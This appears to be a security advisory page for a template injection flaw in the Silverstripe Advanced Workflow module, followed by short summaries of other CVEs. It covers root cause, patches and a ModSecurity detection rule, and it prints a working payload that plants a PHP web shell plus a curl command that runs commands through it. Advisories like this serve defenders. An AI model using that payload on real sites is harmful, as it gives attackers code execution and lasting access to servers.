Aug 27, 2026·4 min read·20 visits
An authenticated template injection vulnerability in Silverstripe Advanced Workflow allows high-privileged users to achieve Remote Code Execution via translation tag interpolation.
A Server-Side Template Injection (SSTI) vulnerability in the Silverstripe Advanced Workflow module allows authenticated attackers with workflow authoring permissions to achieve arbitrary code execution. By manipulating the NotifyUsersWorkflowAction.EmailTemplate field, attackers can inject template code that dynamically executes arbitrary PHP commands via the core translation helper interpolation path.
The Silverstripe Advanced Workflow module provides sequential workflow capabilities for content publishing pipelines. Within this module, the NotifyUsersWorkflowAction class is responsible for sending customized email notifications when specific workflow steps are triggered. This class exposes an EmailTemplate field allowing administrators and content authors to define custom text layouts.\n\nThese layout templates are parsed dynamically using the Silverstripe SSTemplateParser engine. This engine is designed to interpret variables, conditional logic, and translation helpers like <%t %>. However, because the engine compiles templates directly into intermediate executable PHP structures, any lack of isolation during the compilation step introduces a significant attack surface.\n\nThis vulnerability belongs to the Server-Side Template Injection (SSTI) class (CWE-1336). By injecting malicious interpolation patterns within the workflow action configurations, a high-privileged attacker can bypass standard template safety constraints and force the template parser to execute system-level commands.
The root cause of the vulnerability lies in how the translation helper tag <%t %> processes default string arguments inside the SSTemplateParser class. The default helper syntax permits authors to set fallback values in translation tags, which are typically wrapped in double quotes. To support dynamic localization values, the engine allowed variable interpolation inside these double-quoted default fallback strings.\n\nWhen the template engine evaluates an interpolation marker like {$Variable}, the parser translates the nested block into compiled PHP operations. The parser failed to validate that the components inside the brackets were restricted to safe variable symbols. Instead, it evaluated the string elements recursively, transforming raw function calls inside the brackets into executable expressions.\n\nBecause the workflow execution sequence compiles these templates directly onto the server before evaluation, an attacker can leverage this path to execute arbitrary PHP actions. By calling native functions like file_put_contents within the interpolation delimiters, the system compiles the command directly into the cached template file, triggering execution automatically whenever the workflow phase is processed.
Analyzing the patch environment exposes how the framework requirements were modified to resolve the flaw. Rather than modifying the Advanced Workflow code directly, the remediation locks the framework core to enforce strict parsing restrictions inside translation blocks.\n\nIn the vulnerable structure, the parser allowed nested functions to execute because it recursively resolved interpolation expressions before sanitizing the translation helper syntax. The following payload illustrates the execution syntax:\n\nhtml\n<%t VulnerableTag \"{$('file_put_contents'('assets/rce.php', '<?php system($_GET[\\'cmd\\']); ?>'))}\" %>\n\n\nTo resolve this, the framework introduced constraints in the core parser to prevent arbitrary method calls within localization strings. In Silverstripe modern environments (v6), this change was pushed into the silverstripe/template-engine package version 1.0.1:\n\njson\n// Required engine update\n{\n \"require\": {\n \"silverstripe/template-engine\": \"^1.0.1\"\n }\n}\n\n\nFor Silverstripe v5 deployments, equivalent security checks were integrated into the core framework package version 5.4.30:\n\njson\n// Required framework update for v5 compatibility\n{\n \"require\": {\n \"silverstripe/framework\": \"^5.4.30\"\n }\n}\n
Exploitation of CVE-2026-54718 requires authenticated credentials with privileges to create or modify advanced workflows. The attacker locates the administrative panel and navigates to the Advanced Workflow setup. From there, they insert a payload into the EmailTemplate field of a NotifyUsersWorkflowAction instance.\n\nThe template execution pipeline is mapped in the following sequence:\n\nmermaid\ngraph LR\n A[\"Attacker Workflow Configuration\"] --> B[\"NotifyUsersWorkflowAction.EmailTemplate\"]\n B --> C[\"SSTemplateParser Processing\"]\n C --> D[\"Translation Tag <%t %> Parsing\"]\n D --> E[\"Unchecked Dynamic Interpolation\"]\n E --> F[\"Server-Side PHP Evaluation (RCE)\"]\n\n\nDuring execution, the template payload writes a custom PHP web shell script into the publicly accessible /assets/ directory. The attacker can then issue shell operations remotely by calling the newly created script directly:\n\nbash\ncurl -s \"https://target-silverstripe-site.com/assets/rce.php?cmd=id\"\n\n\nThis payload effectively establishes persistent access and bypasses standard authorization boundaries to access backend infrastructure parameters.
The definitive mitigation for this vulnerability is upgrading the underlying dependencies of the Silverstripe application. This ensures that the dynamic parser is restricted from compiling function calls within translation blocks.\n\nRun the following command within your application root to fetch safe versions of the framework packages:\n\nbash\ncomposer update silverstripe/framework silverstripe/template-engine symbiote/silverstripe-advancedworkflow\n\n\nFor environments where dependencies cannot be updated immediately, implement the following virtual mitigations:\n\n1. Restrict write permissions on the public /assets/ directories, preventing the execution of dynamic PHP code within these paths.\n\n2. Monitor database changes on the NotifyUsersWorkflowAction tables for configurations containing <%t tags paired with complex bracket notation {$.\n\n3. Deploy the following ModSecurity rule to detect incoming template injection attempts on workflow editing endpoints:\n\nnginx\nSecRule REQUEST_BODY \"(?i)<%t\\s+[\\w\\-]+\\s+\\\".*\\{\\$.*\\}\\\".*%>\" \\\n \"id:4000185,\\\n phase:2,\\\n deny,\\\n status:403,\\\n log,\\\n msg:'SSTI Attempt via Silverstripe Translation Helper Injection'\"\n
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
silverstripe-advancedworkflow symbiote | < 6.4.5 | 6.4.5 |
silverstripe-advancedworkflow symbiote | >= 7.0.0, < 7.1.3 | 7.1.3 |
silverstripe-advancedworkflow symbiote | >= 7.2.0, < 7.2.1 | 7.2.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1336 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 7.2 (High) |
| EPSS Score | N/A (Recently Disclosed) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | PoC Available in Regression Tests |
| KEV Status | Not Listed |
The Silverstripe template parser failed to neutralize dynamic expression markers inside translation tag default values, permitting arbitrary PHP function execution.
A heap-based buffer overflow vulnerability in Pillow PyPI binary wheels (versions 11.1.0 to 12.x) allows remote code execution or application crash via crafted JPEG 2000 files processed by the bundled libopenjp2 library.
CVE-2026-109618 (dubbed PHP2Shell) is a critical vulnerability in the PHP engine core resulting from improper out-of-memory exception handling via longjmp(). When request allocation fails mid-processing, non-local control flow bypasses cleanup procedures, leaving memory structures uninitialized or in a use-after-free state during request shutdown.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.
An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.